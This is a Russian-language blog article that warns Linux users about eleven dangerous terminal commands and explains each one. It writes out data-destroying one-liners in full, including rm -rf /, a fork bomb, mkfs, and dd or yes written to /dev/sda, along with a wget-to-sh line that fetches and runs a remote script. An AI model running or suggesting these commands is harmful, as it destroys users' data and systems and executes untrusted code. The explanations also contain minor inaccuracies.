Опасные команды в Linux

В статье “Основные команды для работы в консоли Linux” мы рассматривали основные и безобидные команды для работы в терминале (консоле). В этой статье познакомимся с опасными командами в Linux.

Данные команды не стоит выполнять, многие из этих команд очень опасны для стабильной работы системы, большинство команд требуют выполнения под root правами и должны начинаться с команды sudo.

1. rm -rf /

Команда rm -rf / удаляет все возможное, в том числе файлы на жестком диске и файлы на подключенных съемных носителей.

Команда RM также может быть использована в других опасных способах — rm -rf ~ которая удалит все файлы в вашей домашней папке, в то время как rm -rf * удалит все файлы конфигурации.

2. Команда :(){ :|:& };:

Данная команда является логической бомбой. Она оперирует определением функции с именем ‘:‘, которая вызывает сама себя дважды: один раз на переднем плане и один раз в фоне. Она продолжает своё выполнение снова и снова, пока система не зависнет.

3. mkfs.ext4 /dev/sda1

mkfs.ext4 – Создает новую файловую систему ext4 на следующем устройстве.

/dev/sda1 – Задает первый раздел на первом жестком диске, который, вероятней всего используется под корневую файловую систему.

Если связать данную команду вместе, эта команда может стереть файлы на первом разделе и заменит их новой файловой системой.

4. mv folder /dev/null

Команда mv переместит ‘folder‘ в /dev/null. В Linux /dev/null или null устройство — это специальный файл, который сбрасывает все данные, записанные в него, и сообщает, что операция записи прошла успешно.

Команда является переносом всех данных в чёрную дыру (null).

5. ^foo^bar

Эта команда используется для редактирования предыдущей запущенной команды без необходимости снова заново печатать всю команду.

6. dd if=/dev/random of=/dev/sda

Команда dd сотрёт блок устройства sda и заполнит его рандомным мусором. Система будет неработоспособной.

7. > file

Эта команда используется для стирания текущего файла. Если эта команда будет выполнена с опечаткой или незнанием вроде “> xt.conf”, то это сотрёт конфигурационный или любой другой файл.

8. wget http://site.ru/bashvirus -O — | sh

Данная команда загружает скрипт из сети Интернет и отправляет его на выполнение SH(bash), который выполняет содержимое сценария вне зависимости от того, что будет прописано внутри. Это может быть как опасно, так и нет.

9. any_command > /dev/sda

Данная команда записывает все необработанные данные в блоковые файлы (block special files), что легко разрушает файловую систему, после чего в любом случае потребуется переустановка.

10. yes > /dev/sda

Эта команда заполняет раздел жесткого диска (файловой системы) символами “y”, что вызовет разрушение файловой системы.

11. rm -rf /boot/

Команда полностью удалит ядро и файлы загрузчиков которые требуются для загрузки системы. После этого система уже не запустится и потребуется переустановка системы, восстановление здесь уже не спасет.

 
Поделиться в facebook
Facebook
Поделиться в twitter
Twitter
Поделиться в vk
VK
Поделиться в google
Google+
Поделиться в email
Email

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Группа в VK

Помощь проекту

Обнаружили опечатку?

Сообщите нам об этом, выделите текст с ошибкой и нажмите Ctrl+Enter, будем очень признательны!

Свежие статьи

Похожие статьи

Команда Netcat в Linux

Команда Netcat в Linux

Netcat (nc) – это утилита командной строки, которая читает и записывает данные через сетевые подключения, используя протоколы TCP или UDP. Это одна из самых мощных

 

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: